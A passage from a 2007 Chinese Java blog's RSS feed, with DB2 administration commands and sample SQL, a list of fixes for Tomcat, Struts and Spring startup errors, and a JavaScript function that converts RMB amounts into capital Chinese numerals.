<br />
update dbm cfg using SPM_NAME sample </p>
<p>46. 检查 DB2 数据库管理程序配置 </p>
<p>db2 get dbm cfg </p>
<p>47. 检索具有特权的所有授权名 </p>
<p>SELECT DISTINCT GRANTEE, GRANTEETYPE, 'DATABASE' FROM SYSCAT.DBAUTH <br />
<br />
UNION <br />
<br />
SELECT DISTINCT GRANTEE, GRANTEETYPE, 'TABLE ' FROM SYSCAT.TABAUTH <br />
<br />
UNION <br />
<br />
SELECT DISTINCT GRANTEE, GRANTEETYPE, 'PACKAGE ' FROM SYSCAT.PACKAGEAUTH <br />
<br />
UNION <br />
<br />
SELECT DISTINCT GRANTEE, GRANTEETYPE, 'INDEX ' FROM SYSCAT.INDEXAUTH <br />
<br />
UNION <br />
<br />
SELECT DISTINCT GRANTEE, GRANTEETYPE, 'COLUMN ' FROM SYSCAT.COLAUTH <br />
<br />
UNION <br />
<br />
SELECT DISTINCT GRANTEE, GRANTEETYPE, 'SCHEMA ' FROM SYSCAT.SCHEMAAUTH <br />
<br />
UNION <br />
<br />
SELECT DISTINCT GRANTEE, GRANTEETYPE, 'SERVER ' FROM SYSCAT.PASSTHRUAUTH <br />
<br />
ORDER BY GRANTEE, GRANTEETYPE, 3 </p>
<p>create table yhdab <br />
<br />
(id varchar(10), <br />
<br />
password varchar(10), <br />
<br />
ywlx varchar(10), <br />
<br />
kh varchar(10)); <br />
<br />
create table ywlbb <br />
<br />
(ywlbbh varchar(8), <br />
<br />
ywmc varchar(60)) </p>
<p>48. 修改表结构 </p>
<p>alter table yhdab ALTER kh SET DATA TYPE varchar(13); <br />
<br />
alter table yhdab ALTER ID SET DATA TYPE varchar(13); <br />
<br />
alter table lst_bsi alter bsi_money set data type int; <br />
<br />
insert into yhdab values <br />
<br />
('20000300001','123456','user01','20000300001'), <br />
<br />
('20000300002','123456','user02','20000300002'); </p>
<p>49. 业务型说明 </p>
<p>insert into ywlbb values <br />
<br />
('user01','业务申请'), <br />
<br />
('user02','业务撤消'), <br />
<br />
('user03','费用查询'), <br />
<br />
('user04','费用自缴'), <br />
<br />
('user05','费用预存'), <br />
<br />
('user06','密码修改'), <br />
<br />
('user07','发票打印'), <br />
<br />
('gl01','改用户基本信息'), <br />
<br />
('gl02','更改支付信息'), <br />
<br />
('gl03','日统计功能), <br />
<br />
('gl04','冲帐功能'), <br />
<br />
('gl05','对帐功能'), <br />
<br />
('gl06','计费功能'), <br />
<br />
('gl07','综合统计') </p>
<img src ="http://www.blogjava.net/cyanbomb/aggbug/171081.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/cyanbomb/" target="_blank">cyanbomb</a> 2007-12-28 10:04 <a href="http://www.blogjava.net/cyanbomb/archive/2007/12/28/171081.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Tomcat启动错误及解决方法（永久更新中）</title><link>http://www.blogjava.net/cyanbomb/archive/2007/12/28/171079.html</link><dc:creator>cyanbomb</dc:creator><author>cyanbomb</author><pubDate>Fri, 28 Dec 2007 01:54:00 GMT</pubDate><guid>http://www.blogjava.net/cyanbomb/archive/2007/12/28/171079.html</guid><wfw:comment>http://www.blogjava.net/cyanbomb/comments/171079.html</wfw:comment><comments>http://www.blogjava.net/cyanbomb/archive/2007/12/28/171079.html#Feedback</comments><slash:comments>5</slash:comments><wfw:commentRss>http://www.blogjava.net/cyanbomb/comments/commentRss/171079.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/cyanbomb/services/trackbacks/171079.html</trackback:ping><description><![CDATA[<font size="4">错误信息 : <br />
1. org.apache.commons.dbcp.SQLNestedException: Cannot create PoolableConnectionFactory (Network error IOException: Connection refused: connect)<br />
2. Caused by: java.sql.SQLException: Network error IOException: Connection refused: connect<br />
3. Caused by: java.net.ConnectException: Connection refused: connect<br />
解决方法：数据库未开情况下运行tomcat出现的问题，把数据库打开就行了<br />
</font><font size="4"><br />
错误信息 : WARN&nbsp; [struts2.config.Settings] Settings: Could not parse struts.locale setting, substituting default VM locale<br />
解决方法 : 在 struts.properties 文件中加上 struts.locale=en_utf-8<br />
<br />
错误信息 : log4j:WARN No appenders could be found for logger (org.springframework.web.context.ContextLoader).<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp; log4j:WARN Please initialize the log4j system properly.<br />
解决方法 : 在WEB-INF/classes/路径下加上文件 log4j.properties 其参考内容如下<br />
<br />
# Set root logger level to error<br />
log4j.rootLogger=INFO, Console, File<br />
<br />
###### Console appender definition #######<br />
<br />
# All outputs currently set to be a ConsoleAppender.<br />
log4j.appender.Console=org.apache.log4j.ConsoleAppender<br />
log4j.appender.Console.layout=org.apache.log4j.PatternLayout<br />
log4j.appender.Console.layout.ConversionPattern=%d{ABSOLUTE} %-5p [%c{3}] %m%n<br />
#log4j.appender.Console.layout.ConversionPattern=%d{ABSOLUTE} %-5p [%c] %m%n<br />
<br />
###### File appender definition #######<br />
log4j.appender.File=org.apache.log4j.DailyRollingFileAppender<br />
log4j.appender.File.File=spring.log<br />
log4j.appender.File.Append=false<br />
log4j.appender.File.layout=org.apache.log4j.PatternLayout<br />
log4j.appender.File.layout.ConversionPattern=%d{ABSOLUTE} %-5p [%c] %m%n<br />
<br />
###### Hibernate specific appender definition #######<br />
#log4j.appender.file=org.apache.log4j.FileAppender<br />
#log4j.appender.file.File=hibernate.log<br />
#log4j.appender.file.layout=org.apache.log4j.PatternLayout<br />
#log4j.appender.file.layout.ConversionPattern=%d{ABSOLUTE} %5p %c{1}:%L - %m%n<br />
<br />
###### Log level overrides #######<br />
<br />
# Hibernate<br />
log4j.logger.org.hibernate.cache.EhCacheProvider=warn<br />
log4j.logger.org.hibernate.type=warn<br />
# log4j.logger.org.hibernate.persister.collection=DEBUG<br />
<br />
# Spring<br />
log4j.logger.org.springframework=warn<br />
<br />
# Axis/WSS4J<br />
log4j.logger.org.apache.axis=info<br />
log4j.logger.org.apache.ws=info<br />
<br />
# MyFaces<br />
log4j.logger.org.apache.myfaces.util.DebugUtils=info<br />
log4j.logger.org.apache.myfaces.el.VariableResolverImpl=error<br />
log4j.logger.org.apache.myfaces.application.jsp.JspViewHandlerImpl=error<br />
<br />
# log prepared statement cache activity ###<br />
log4j.logger.org.hibernate.ps.PreparedStatementCache=info<br />
<br />
<br />
###### Examples #######<br />
# To dump performance results on VM termination<br />
#log4j.logger.performance.summary.vm=debug<br />
<br />
# To dump performance stats on every call<br />
#log4j.logger.performance.summary.method=debug<br />
<br />
# Examples of activating performance logging on various beans<br />
#log4j.logger.performance.nodeDaoService=debug<br />
#log4j.logger.performance.dbNodeService=debug<br />
#log4j.logger.performance.indexingNodeService=debug<br />
#log4j.logger.performance.indexerComponent=debug<br />
<br />
错误信息 : WARN&nbsp; [ehcache.config.ConfigurationFactory] No configuration found. Configuring ehcache from ehcache-failsafe.xml<br />
解决方法 : 在WEB-INF/classes/路径下加上文件 ehcache.xml 其参考内容如下<br />
<br />
&lt;ehcache&gt;<br />
&nbsp;&lt;diskStore path="java.io.tmpdir"/&gt;<br />
&nbsp;&lt;defaultCache<br />
&nbsp;&nbsp;&nbsp; maxElementsInMemory="10000"<br />
&nbsp;&nbsp;&nbsp; eternal="false"<br />
&nbsp;&nbsp;&nbsp; timeToIdleSeconds="10000"<br />
&nbsp;&nbsp;&nbsp; timeToLiveSeconds="10000"<br />
&nbsp;&nbsp;&nbsp; overflowToDisk="true"<br />
&nbsp;/&gt;<br />
&nbsp; &lt;cache&nbsp; name="com.hour41.hibernate.vo.common.City"<br />
&nbsp;&nbsp;&nbsp; maxElementsInMemory="10000"<br />
&nbsp;&nbsp;&nbsp; eternal="false"<br />
&nbsp;&nbsp;&nbsp; timeToIdleSeconds="10000"<br />
&nbsp;&nbsp;&nbsp; timeToLiveSeconds="10000"<br />
&nbsp;&nbsp;&nbsp; overflowToDisk="true"<br />
&nbsp;/&gt;<br />
&lt;/ehcache&gt;</font> <br />
<br />
错误信息：java.lang.NoSuchMethodError: <strong>org.</strong>objectweb<span><strong>.asm.ClassVisitor.visit</strong>(IILjava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;)V<br />
at net.sf.cglib.core.ClassEmitter.begin_class(ClassEmitter.java:77) </span>
<p><span>解决方法：Spring 和 Hibernate 共用的一些 jar 文件发生了版本冲突, 删除 </span><span><strong style="color: black">WEB</strong>-INF/lib</span>/asm-2.2.3.jar 然后重启 Tomcat.</p>
<br />
错误信息：javax.servlet.jsp.JspException: Invalid argument looking up property usersVO.account of bean loginForm<br />
解决方法：Form中的usersVO没被实例化，在reset方法中new一下就OK了 <br />
<br />
错误信息：org.apache.jasper.JasperException: Failed to load or instantiate TagLibraryValidator class: org.apache.taglibs.standard.tlv.JstlCoreTLV<br />
解决方法：加入standard.jar，重启tomcat <br />
<br />
错误信息：严重:&nbsp;Exception&nbsp;loading&nbsp;sessions&nbsp;from&nbsp;persistent&nbsp;storage&nbsp;<br />
解决方法：tomcat安装目录\work\Catalina\localhost\{webAppName}\SESSIONS.ser，删除此文件
<img src ="http://www.blogjava.net/cyanbomb/aggbug/171079.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/cyanbomb/" target="_blank">cyanbomb</a> 2007-12-28 09:54 <a href="http://www.blogjava.net/cyanbomb/archive/2007/12/28/171079.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>人民币小写金额转换为大写金额</title><link>http://www.blogjava.net/cyanbomb/archive/2007/12/27/170936.html</link><dc:creator>cyanbomb</dc:creator><author>cyanbomb</author><pubDate>Thu, 27 Dec 2007 08:53:00 GMT</pubDate><guid>http://www.blogjava.net/cyanbomb/archive/2007/12/27/170936.html</guid><wfw:comment>http://www.blogjava.net/cyanbomb/comments/170936.html</wfw:comment><comments>http://www.blogjava.net/cyanbomb/archive/2007/12/27/170936.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.blogjava.net/cyanbomb/comments/commentRss/170936.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/cyanbomb/services/trackbacks/170936.html</trackback:ping><description><![CDATA[<font size="4"> function RMB_Convert(n)<br />
//人民币小写金额转换为大写金额<br />
{<br />
var strOutput = "";<br />
var strUnit = &#8217;仟佰拾亿仟佰拾万仟佰拾元角分&#8217;;<br />
n += "00";<br />
var intPos = n.indexOf(&#8217;.&#8217;);<br />
if (intPos &gt;= 0)<br />
n = n.substring(0, intPos) + n.substr(intPos + 1, 2);<br />
strUnit = strUnit.substr(strUnit.length - n.length);<br />
for (var i=0; i &lt; n.length; i++)<br />
strOutput += &#8217;零壹贰叁肆伍陆柒捌玖&#8217;.substr(n.substr(i,1),1) + strUnit.substr(i,1);<br />
return strOutput;<br />
} <br />
</font>
<img src ="http://www.blogjava.net/cyanbomb/aggbug/170936.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/cyanbomb/" target="_blank">cyanbomb</a> 2007-12-27 16:53 <a href="http://www.blogjava.net/cyanbomb/archive/2007/12/27/170936.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>